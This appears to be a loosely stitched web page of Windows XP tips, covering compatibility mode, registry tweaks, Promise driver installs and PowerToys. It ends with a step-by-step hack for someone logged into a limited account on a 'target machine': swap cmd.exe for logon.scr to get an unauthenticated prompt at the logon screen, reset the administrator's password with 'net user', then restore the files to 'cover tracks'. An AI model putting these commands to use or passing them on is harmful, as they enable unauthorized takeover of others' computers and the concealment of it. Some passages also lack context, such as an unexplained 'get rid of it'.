If you're having trouble running older programs originally developed for previous versions of Windows, you're not out of luck. Luckily for consumers, Microsoft built Compatibility Mode into XP. Compatibility Mode allows you to run a program using the shell of the original program it was developed for.


Here's how to access a program's Compatibility Mode in XP:


Find the executable or program shortcut icon you'd like to run.
Right-click the icon and select Properties.
Click the Compatibility tab and place a checkmark next to the text labeled "Run this program in compatibility mode."
Select the operating system that the program was originally intended to run on.
You may need to fine-tune the three fields under "Display Settings" if an older program requires 640x480 resolution or 256 colors.
Click Apply.

Try starting the program after making these changes. If it still gives you trouble, try a different operating system. If the program was written for Win95 and worked fine in Win98, there's nothing that says it still won't work fine with Win98.

Theoretically, you can get rid of it (as well as a few other things). Windows 2000 power users should already be familiar with this tweak.

Fire up the Windows Explorer and navigate your way to the %SYSTEMROOT% \ INF folder. What the heck is that thingy with the percentage signs? It's a variable. For most people, %SYSTEMROOT% is C:\Windows. For others, it may be E:\WinXP. Get it? Okay, on with the hack! In the INF folder, open sysoc.inf (but not before making a BACKUP copy first). Before your eyes glaze over, look for the line containing "msmsgs" in it. Near the end of that particular line, you'll notice that the word "hide" is not so hidden. Go ahead and delete "hide" (so that the flanking commas are left sitting next to one another). Save the file and close it. Now, open the Add and Remove Programs applet in the Control Panel. Click the Add / Remove Windows Components icon. You should see "Windows Messenger" in that list. Remove the checkmark from its box, and you should be set. NOTE: there are other hidden system components in that sysoc.inf file, too. Remove "hide" and the subsequent programs at your own risk.

When I first saw the default search pane in Windows XP, my instinct was to return it to its classic look; that puppy had to go. Of course, I later discovered that a doggie door is built into the applet. Click "Change preferences" then "Without an animated screen character." If you'd rather give it a bare-bones "Windows 2000" look and feel, fire up your Registry editor and navigate to:

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ CabinetState.

You may need to create a new string value labeled "Use Search Asst" and set it to "no".

( WinXP PRO Only)

1) Click Start, Run and enter GPEDIT.MSC

2) Go to Computer Configuration, Administrative Templates, System.

3) Locate the entry for Turn autoplay off and modify it as you desire.

You can turn off window animation ("exploding" windows), displayed when you play around with minimizing/maximizing open windows. This makes navigating Windows 95/98/ME/NT4/2000/XP a lot quicker, especially if you don't have a fast video controller, or if you got tired of seeing it all the time (like I did). :)
To do this, run Regedit (or Regedt32) and go to:
HKEY_CURRENT_USER | Control Panel | Desktop | WindowMetrics
or if you are the only user of your Windows computer go to:

HKEY_USERS | .Default | Control Panel | Desktop | WindowMetrics

Right-click on an empty spot in the right hand pane. Select New -> String [REG_SZ] Value. Name it MinAnimate. Click OK. Double-click on "MinAnimate" and type 0 to turn OFF window animation or 1 to turn it ON. Click OK. Close the Registry Editor and restart Windows. Done.

TweakUI, the famous Microsoft Power Toy [110 KB, free, unsupported] can also turn off animated windows.
Just remove the check mark from the "Window Animation" box under the General tab.

With the loads of problems reported by users with Soundblaster cards on Windows XP Creative has stepped up and offered drivers for at least some models of their Sound Blaster cards, but check your particular model closely. I have downloaded the SB128 drivers and my sound problems have been resolved..! So they do work.

http://www.creative.com/support/winxp/

For those who are getting this error when you try to install WinXP on a motherboard that has UDMA 100 Promise Controllers you need to do the following in order to get XP to install correctly if your hard drives are connected to the UDMA 100 controller.

Now there are two ways to get XP installed, the first one I am going to mention is the easiest way and the second is a bit more complicated but will work never the less.

#1 - Easiest Way
I have an Asus A7V motherboard and I have run into this more than once. What you need to do (this is the easiest way to do it that I have found) is to move your hard drives cable off the UDMA 100 controller (normally color coded blue) over to the UDMA 66 master controller on the motherboard. Once you have done that make sure your PC still boots into your current OS correctly. If it does then start your XP install or upgrade. Everything should be fine. Now, once XP is up on My Computer and choose Manage. Look under Device manager and you will see an error with a yellow exclamation point on it. Right click on it and install the Promise Drivers. You can download them directly from here -
ftp://ftp.promise.com/Controllers/IDE/Ultra66/UltraFamily/U100d160b32.zip
Once you have the drivers installed re-boot the system and make sure the yellow exclamation points are gone and the promise drivers are listed under SCSI devices, if they are then turn off your system, move the HD's back to the UDMA 100 controller and boot it up. That should fix it.


#2 - Fresh Install
If you plan on installing XP to a freshly formatted hard drive the easiest way I have found to do this is to use the above method but for those with only one UDMA 66 controller on there motherboard you may need to do the following:

- First use the URL above and download the Promise drivers from the Promise website.
- Second you need to extract the drivers to a floppy or to the partition on your hard drive that XP can see (FAT32 works great for this) but there is a trick to this in order to make XP see the drivers. Once you extract the drivers the promise drivers automatically make folders for each individual OS (see screen shot), what you need to do is move the files from under the Win2K directory to the of the Promise Folder. So you take the three files under the Win2K folder and copy them, don't move them but copy them to the root of the main folder where you extracted the Promise drivers to (if you don't see three files go to Tools/Folder Options/View and check "show hidden files"). The three files you need to copy to the area are:
- Ultra.cat- Ultra.inf- Ultra.sys
Now that you have all the files in the copy them to a floppy, reboot (if needed) and start your install of XP.

Now pay attention here - at the bottom of the very first blue setup screen you will see a prompt to hit F6 to install third party SCSI or RAID drivers. HIT F6 A FEW TIMES NOW!!! Now it might take a couple of seconds but you should be prompted to insert your drivers into your floppy drive. Do so and choose the Promise ATA100 controller. Keep this disk handy as you will be prompted for it one more time during the install.

Once XP has the drivers and loads them successfully XP should install just fine, well at least as far as the controller goes.

What are XP powerToys
PowerToys are additional programs that developers work on after the product has been released to manufacturing, but before the next project has begun. These toys add fun and functionality to the Windows experience.

We've taken great care to ensure that PowerToys operate as they should. But please note that these programs are not part of Windows and are not supported by Microsoft. For this reason, Microsoft Technical Support is unable to answer questions about PowerToys
The PowerToys are installed into the directory you specify during setup. Typically this is the system32 directory.
To uninstall the PowerToys, Open the control Panel. Launch the Add/Remove Programs control panel applet. Find the PowerToys for Windows XP entry, and choose Modify/Remove. From here you can remove specific toys or all of them.

Faster User Switcher
Note: You cannot use this toy if fast user switching is not enabled.
What it is: With Fast User Switching enabled on Windows XP, this PowerToy allows you to switch users without having to use the logon screen.Special requirements: This PowerToy requires a Windows key on your keyboard.How to use: Press the Windows key then the Q key to activate; release and press Q to switch to a different user tile, then release both Q and Windows key to switch to that user.

Shell Player
What it is: This PowerToy plays MP3 files and WMA files from the taskbar.How to use: Right click on the taskbar, click toolbars, then click "Audio Player." If the taskbar is locked and you want to resize the player, you will have to unlock it. This will allow you to access the play list editor and view all the buttons.

Task Switcher
What it is: Replaces the existing Alt + Tab application switching mechanism of Windows XP. It provides a thumbnail preview of windows in the task list and is compliant with the new Windows XP visual style.How to use: (NOTE: You must log off and then log on again for the changes to take effect). Use just as you do the existing Alt + Tab mechanism by pressing the Alt key and the Tab key to activate. While holding down the Alt key, press the Tab key to cycle through running applications. To move backwards, press Shift + Alt + Tab. Release all keys when the desired application is highlighted.

Open Command Window Here
What it is: This PowerToy adds an "Open Command Window Here" context menu option on file system folders. This gives users a quick way to open a command window (cmd.exe) pointing at a selected folder in the Explorer UI.How to use: After installation, right click on the folder you would like to have a quick launch command window for.

Tweak UI
What it is: Provides access to system settings that are not exposed in the Windows XP default user interface.How to use: Go to Start, All Programs, Accessories, TweakUI for Windows XP.

PowerToy Calc
What it is: Graphing calculatorHow to use: Go to Start, All Programs, Accessories, PowerToy Calc

Bulk Resize for Photos
What it is: Allows you to make a new, resized copy of your selected pictures in the same folder they are currently located in. You can opt to resize one or many pictures (as a batch).How to use: Right click any image(s) and select Resize Pictures in the context menu.

ISO Image Burner
What it is: Allows you to burn an ISO Image using a CD-ROM burner that is compatible with Windows XPHow to use: Go to Start, All Programs, Accessories, ISO Burner

Slide Show Generator
What it is: Generate a slideshow when burning a CDHow to use: Add only images to a CD-ROM using Windows XP Explorer, then Write these files to disk. A new task is presented in the wizard for generating the autorun for the slideshow.

Virtual Desktop Manager
What it is: Manage up to 4 desktops from the Windows Shell Taskbar.How to use:Right click on the taskbar, click toolbars, then click "Desktop Manager." If the taskbar is locked and you want to resize the manager, you will have to unlock it.

Background Wallpaper switcher
What it is: Allows you to switch the background image periodically.How to use: Access this PowerToy by right clicking the desktop, click properties. It has added a new tab that will allow you to specify the interval as well as the directory to obtain the images from.

Taskbar Magnifier
What it is: Allows you to magnify part of the screen from the taskbar.How to use:Right click on the taskbar, click toolbars, then click "Taskbar Magnifier." If the taskbar is locked and you want to resize the magnifier, you will have to unlock it.

Slide Show Wizard

What it is: This wizard helps you create a slide show of your digital pictures. When you're done, you can put your slide show on the Web so that your family and friends can view it.How to use: Launch the Wizard from the Start Menu under All ProgramsPowertoys for Windows XPSlide Show Wizard. Follow the steps of the wizard to select and arrange your pictures, choose from a few simple options, and then save a Web-ready HTML slide show to a folder.

In My Computer click Tools menu, and then click Options.

Click the File Types tab.In the list of file types, highlight "(NONE) Folders"

Click Advanced button, In the Actions box, highlight "Explore"

Click "Set Default"

Microsoft has chosen a completely different path for XP and it's boot features by trying to incorporate as much support for newer fastboot BIOSes that are on most current motherboards.
They built XP in such a way as to make it able to take advantage of features in these new BIOSes, and one of the coolest things is a small application called bootvis. bootvis.
Bootvis watches everything that loads at boot time, from the moment the OS begins to load just after POST (Power On Self-Test) to the moment you get to a usable Desktop.
Some programs, most notably Norton AntiVirus 2002, suck up valuable seconds before you can actually DO anything even though you're at the Desktop. bootvis generates a trace file that you load and can then "see" a visual representation of what's happening. Every file, driver, hard drive read/write, etc., is recorded. You can then use bootvis to optimize the loading of files during the boot sequence. bootvis will rearrange the ways these very files are stored on the hard drive, thereby improving the boot time dramatically.

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.

GO TO RUN

Then

REGEDIT

The see for

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
then Edit these

"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks